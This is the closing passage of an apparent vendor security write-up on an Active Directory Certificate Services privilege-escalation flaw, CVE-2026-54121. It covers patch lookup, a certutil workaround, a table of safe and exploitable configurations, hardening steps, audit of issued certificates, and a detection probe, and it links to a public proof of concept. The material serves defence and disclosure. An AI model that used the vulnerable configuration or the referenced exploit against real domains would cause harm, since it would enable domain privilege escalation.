| 2016 | KB5099535 |
| 2019 | KB5099538 |
| 2022 | KB5099540 |
| 2025 | KB5099536 |
The list can be regenerated rather than trusted:
$doc = Invoke-RestMethod 'https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Jul' -Headers @{Accept='application/json'}
$vuln = $doc.Vulnerability | Where-Object { $_.CVE -eq 'CVE-2026-54121' }
$pids = $doc.ProductTree.FullProductName
$vuln.Remediations | Where-Object { $_.Type -eq 2 -and $_.Description.Value -match '^\d{7}$' } | ForEach-Object {
$kb = $_.Description.Value
$_.ProductID | ForEach-Object { 'KB{0} -> {1}' -f $kb, ($pids | Where-Object ProductID -eq $_).Value }
} | Sort-Object -Unique
KB5099538 moved our lab CA from build 17763.5936 to 17763.9020 and certpdef.dll from 10.0.17763.1 to 10.0.17763.9020. After installing, verify the behavior rather than the version, for the feature gate reason above.
Where the update cannot be installed immediately, the chase fallback can be disabled as a temporary measure:
certutil.exe -config "CA_HOST\CA_NAME" -setreg "policy\EditFlags" -EDITF_ENABLECHASECLIENTDC
net stop certsvc & net start certsvc
With the flag cleared on an unpatched CA, the probe no longer observes the vulnerable behavior. The flag and the update do different jobs, and conflating them is easy:
| Update | EDITF_ENABLECHASECLIENTDC |
Result |
|---|---|---|
| Installed | Enabled | Safe. The chase runs but the target is validated. This is the intended end state. |
| Installed | Disabled | Safe, but legitimate cross-domain enrollment is switched off for no additional security benefit. |
| Not installed | Enabled | Exploitable. This is the vulnerable configuration. |
| Not installed | Disabled | Not exploitable, but only because the feature is off. One certutil command away from being exploitable again. |
The flag is a lever on the feature; the update is a fix for the validation. Reading the flag alone tells you almost nothing, because it is set in both a safe row and the dangerous one.
The workaround removes the affected code path rather than fixing it, disables the legitimate cross-domain enrollment scenarios that depend on it, and re-enabling the flag on a CA that has not been updated restores the exposure completely.
Two further hardening steps reduce blast radius without addressing the root cause. Setting ms-DS-MachineAccountQuota to 0 and delegating machine account creation to a dedicated group removes a building block used by the published exploit and by several other Active Directory attack paths. Restricting who may submit certificate requests shrinks the population that can reach the affected code.
Finally, review what the CA has already issued. Inspect the database for requests carrying cdc or rmd, and for certificates identifying a Domain Controller where the requester was an ordinary user or computer account. Revoke anything unaccounted for and investigate the requesting account.
Conclusion
Certighost is a trust boundary drawn in the wrong place. The CA let the client decide where its identity data came from, and identity data is precisely what a CA must never delegate.
The July 2026 validator rejects an IPv4 literal before it touches the network, and that single design decision separates a 4 millisecond response from a 22 second one. It is enough to distinguish an affected CA from a patched one without letting the attack succeed, provided the classifier demands both the transport error and the stall, uses a target the CA has not seen, and reports inconclusive when the network path cannot be trusted to swallow the probe.
For anyone building this into their own tooling: run the two requests as part of existing AD CS enumeration rather than a separate pass, and retain the raw measurement (both dispositions, both status codes, both latencies, and the disposition message) so a verdict stays auditable rather than taken on trust. We are building the check into Forestall ISPM; it is not part of a released version yet.
References
- H0j3n - CVE-2026-54121 technical analysis: Gist
- aniqfakhrul - CVE-2026-54121 proof of concept: github.com/aniqfakhrul/CVE-2026-54121
- Microsoft - CVE-2026-54121 Active Directory Certificate Services Elevation of Privilege Vulnerability: MSRC
- Microsoft - ICertRequest::Submit: Microsoft Learn
- Microsoft - certutil: Microsoft Learn
- Will Schroeder, Lee Christensen (SpecterOps) - Certified Pre-Owned: Abusing Active Directory Certificate Services: Blog
- Oliver Lyak - Certipy: github.com/ly4k/Certipy
This research is published for educational purposes. Testing this technique against systems without explicit authorization is prohibited.
See your identity exposure clearly.
Start with a 1-day Proof of Value in your own environment.